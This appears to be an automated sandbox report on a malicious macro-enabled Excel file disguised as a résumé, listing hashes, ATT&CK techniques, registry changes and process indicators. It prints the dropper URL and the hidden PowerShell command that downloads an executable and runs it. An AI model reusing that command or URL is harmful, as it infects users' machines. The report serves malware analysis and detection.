cf0f7d178b74a724d306e95469e7e3a8a8974c69a659a365ab8f1c129a69ec10

General

Target

Curriculo Laura Sperandio (ps).xlsm
Size

23KB
MD5

dbad290342a0f6cd2554a4d7b06ff400
SHA1

ea9e6a18734a7a389eaa66eace35c84ede9152c3
SHA256

cf0f7d178b74a724d306e95469e7e3a8a8974c69a659a365ab8f1c129a69ec10
SHA512

a26c41a262c375fce4369b51ee19283504e7aeed975416551f193b00313a083a26a034e69bcff59b6719b006e0dfb0ec4fb295ba6426a12a5d901c5c1810dc63

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bitbucket.org/seveca-emilia/onemoreslave/downloads/sz.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2000	1744	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 2000 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
7	2000	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1744 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2000 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2000 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1744 EXCEL.EXE
1744 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1744 EXCEL.EXE
1744 EXCEL.EXE
1744 EXCEL.EXE

pid	process
1744	EXCEL.EXE

pid	process
2000	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2000	powershell.exe

pid	process
1744	EXCEL.EXE
1744	EXCEL.EXE

pid	process
1744	EXCEL.EXE
1744	EXCEL.EXE
1744	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1744 wrote to memory of 2000	1744	EXCEL.EXE	powershell.exe
PID 1744 wrote to memory of 2000	1744	EXCEL.EXE	powershell.exe
PID 1744 wrote to memory of 2000	1744	EXCEL.EXE	powershell.exe
PID 1744 wrote to memory of 2000	1744	EXCEL.EXE	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Curriculo Laura Sperandio (ps).xlsm"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1744

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe /W hidden /C $TempDir = [System.IO.Path]::GetTempPath();cd $TempDir;(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/seveca-emilia/onemoreslave/downloads/sz.exe',$TempDir+'test.exe');Start-Process 'test.exe'
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

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Downloads

memory/2000-2-0x0000000000000000-mapping.dmp

Download
memory/2000-3-0x000000006B9F0000-0x000000006C0DE000-memory.dmp

Filesize
6.9MB

Download
memory/2000-4-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/2000-5-0x0000000004740000-0x0000000004741000-memory.dmp

Filesize
4KB

Download
memory/2000-6-0x00000000025E0000-0x00000000025E1000-memory.dmp

Filesize
4KB

Download
memory/2000-7-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/2000-10-0x00000000057D0000-0x00000000057D1000-memory.dmp

Filesize
4KB

Download
memory/2000-15-0x0000000005920000-0x0000000005921000-memory.dmp

Filesize
4KB

Download
memory/2000-16-0x00000000064A0000-0x00000000064A1000-memory.dmp

Filesize
4KB

Download
memory/2000-23-0x0000000006430000-0x0000000006431000-memory.dmp

Filesize
4KB

Download
memory/2000-24-0x0000000006530000-0x0000000006531000-memory.dmp

Filesize
4KB

Download
memory/2000-25-0x00000000067B0000-0x00000000067B1000-memory.dmp

Filesize
4KB

Download
memory/2000-39-0x0000000006BA0000-0x0000000006BA1000-memory.dmp

Filesize
4KB

Download
memory/2000-40-0x0000000006BB0000-0x0000000006BB1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads